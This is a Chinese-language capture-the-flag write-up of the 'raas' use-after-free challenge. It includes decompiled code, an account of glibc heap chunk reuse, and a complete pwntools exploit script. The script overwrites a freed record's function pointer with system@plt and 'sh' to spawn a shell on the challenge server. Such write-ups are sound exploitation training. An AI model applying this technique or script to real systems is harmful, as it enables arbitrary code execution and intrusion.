实验平台:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-157-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4
实验Binary及答案:
https://github.com/bjrjk/pwn-learning/tree/main/UAF/raas
checksec raas
:
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我在调试中遇到这样一个问题,程序其中调用了system函数,但它会干扰GDB的调试,索性我就直接用IDA把这条call system
直接patch掉了,生成了raas.patched
文件用于调试使用。
还是先上IDA反编译:
union record_content
{
char *str;
int val;
};
struct record
{
void (__cdecl *print)(record *);
void (__cdecl *free)(record *);
record_content v;
};
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v3; // eax
alarm(600u);
setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 2, 0);
puts("Welcome to use my Record-as-a-Service (free plan)");
puts("You can only save Integer or String for 600 seconds");
puts("Pay 1,000,000,000,000,000,000,000,000 bitcoins to buy premium plan");
puts("Here is term of service. You must agree to use this service. Please read carefully!");
puts("================================================================================");
puts("================================================================================");
while ( 1 )
{
while ( 1 )
{
while ( 1 )
{
puts("1. New record");
puts("2. Del record");
puts("3. Show record");
v3 = ask("Act");
if ( v3 != 2 )
break;
do_del();
}
if ( v3 != 3 )
break;
do_dump();
}
if ( v3 != 1 )
break;
do_new();
}
puts("Bye~ Thanks for using our service!");
return 0;
}
void __cdecl do_new()
{
int v0; // eax
int v1; // [esp+0h] [ebp-18h]
record *rec; // [esp+4h] [ebp-14h]
unsigned int size; // [esp+Ch] [ebp-Ch]
v1 = ask("Index");
if ( v1 < 0 || v1 > 16 )
{
puts("Out of index!");
return;
}
if ( records[v1] )
{
printf("Index #%d is used!\n", v1);
return;
}
records[v1] = (record *)malloc(12u);
rec = records[v1];
rec->print = rec_int_print;
rec->free = rec_int_free;
puts("Blob type:");
puts("1. Integer");
puts("2. Text");
v0 = ask("Type");
if ( v0 == 1 )
{
rec->v.val = ask("Value");
}
else
{
if ( v0 != 2 )
{
puts("Invalid type!");
return;
}
size = ask("Length");
if ( size > 0x400 )
{
puts("Length too long, please buy record service premium to store longer record!");
return;
}
rec->v.str = (char *)malloc(size);
printf("Value > ");
fgets(rec->v.str, size, stdin);
rec->print = rec_str_print;
rec->free = rec_str_free;
}
puts("Okey, we got your data. Here is it:");
rec->print(rec);
}
void __cdecl do_del()
{
int v0; // eax
v0 = ask("Index");
records[v0]->free(records[v0]);
}
void __cdecl do_dump()
{
int v0; // eax
v0 = ask("Index");
records[v0]->print(records[v0]);
}
void __cdecl rec_int_print(record *a1)
{
printf("Record(Type=Integer, Value=%d)\n", a1->v.val);
}
void __cdecl rec_str_print(record *a1)
{
printf("Record(Type=String, Value=%s)\n", a1->v.str);
}
void __cdecl rec_int_free(record *ptr)
{
free(ptr);
puts("Record freed!");
}
void __cdecl rec_str_free(record *ptr)
{
free(ptr->v.str);
free(ptr);
puts("Record freed!");
}
int __cdecl ask(const char *a1)
{
char s[32]; // [esp+1Ch] [ebp-2Ch] BYREF
unsigned int v3; // [esp+3Ch] [ebp-Ch]
v3 = __readgsdword(0x14u);
printf("%s > ", a1);
fgets(s, 32, stdin);
return atoi(s);
}
UAF,指Use After Free,是一个指针对应的内存已经被释放,但这个指针还没有被清零,指针悬空,可能导致一系列错误。
我也是第一次接触UAF,所以也没看出来哪里有洞。根据参考资料,我自己尝试着做了一下。参考资料中说,可以先分配两个int属性的结构体,再释放,再分配两个char[]的结构体。
对于这道题目来讲,每个record结构体占12个字节。那我们每次用malloc申请内存时,就算申请存放字符串的空间,也要申请12个字节。
经过测试发现,glibc的分配机制非常像栈。在本程序中,我按照一下顺序申请、释放内存空间,得出的内存地址如下:
申请0xc字节内存到record0:返回以0x160结尾的堆地址
申请0xc字节内存到record1:返回以0x170结尾的堆地址
释放以0x170结尾的堆地址record1
释放以0x160结尾的堆地址record0
申请0xc字节内存:返回以0x160结尾的堆地址到record0
申请0xc字节内存:返回以0x170结尾的堆地址到record0->v.str
我们可以任意控制record0->v.str,即控制以0x170结尾的堆地址。我们还可以通过record1指针将堆内容解释为函数指针。而程序中还引入了system函数。所以我们要做的事情就是把参数和system的地址布局到堆上,并进行调用即可。
我们此处的调用必须使用do_del()
函数。因为传进的参数v1
对结构体的偏移为0,此处恰好是print函数指针的地址。这里我们要用来做system的第一个参数字符串。
所以我们的布局应该是,先放”/bin/sh”字符串,再放system的plt地址。但是”/bin/sh”已经超过四个字节了,所以我们只写”sh”,后面再补”\x00\x00″。
下面是WPanswer.py
:
#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math, time
context(arch = "i386",os = "linux", log_level = "debug")
def record_new(p, index, rec_type, str_length, value):
p.recvuntil("Act > ")
p.sendline("1")
p.recvuntil("Index > ")
p.sendline(index)
p.recvuntil("Type > ")
p.sendline(rec_type)
if rec_type == "2":
p.recvuntil("Length > ")
p.sendline(str_length)
p.recvuntil("Value > ")
p.sendline(value)
def record_del(p, index):
p.recvuntil("Act > ")
p.sendline("2")
p.recvuntil("Index > ")
p.sendline(index)
p = remote("hackme.inndy.tw", 7719)
# p = process('./raas.patched')
elf = ELF('./raas.patched')
gdb_command = """
b *0x80487a3
b *0x8048880
b *0x804893a
"""
# two malloc in do_new, call eax in do_del
time.sleep(1)
# gdb.attach(p, gdb_command)
system_plt = elf.plt['system']
record_new(p, "0", "1", None, "0")
record_new(p, "1", "1", None, "0")
record_del(p, "1")
record_del(p, "0")
record_new(p, "2", "2", "12" , "sh\x00\x00" + p32(system_plt))
record_del(p, "1")
p.interactive()
参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78598635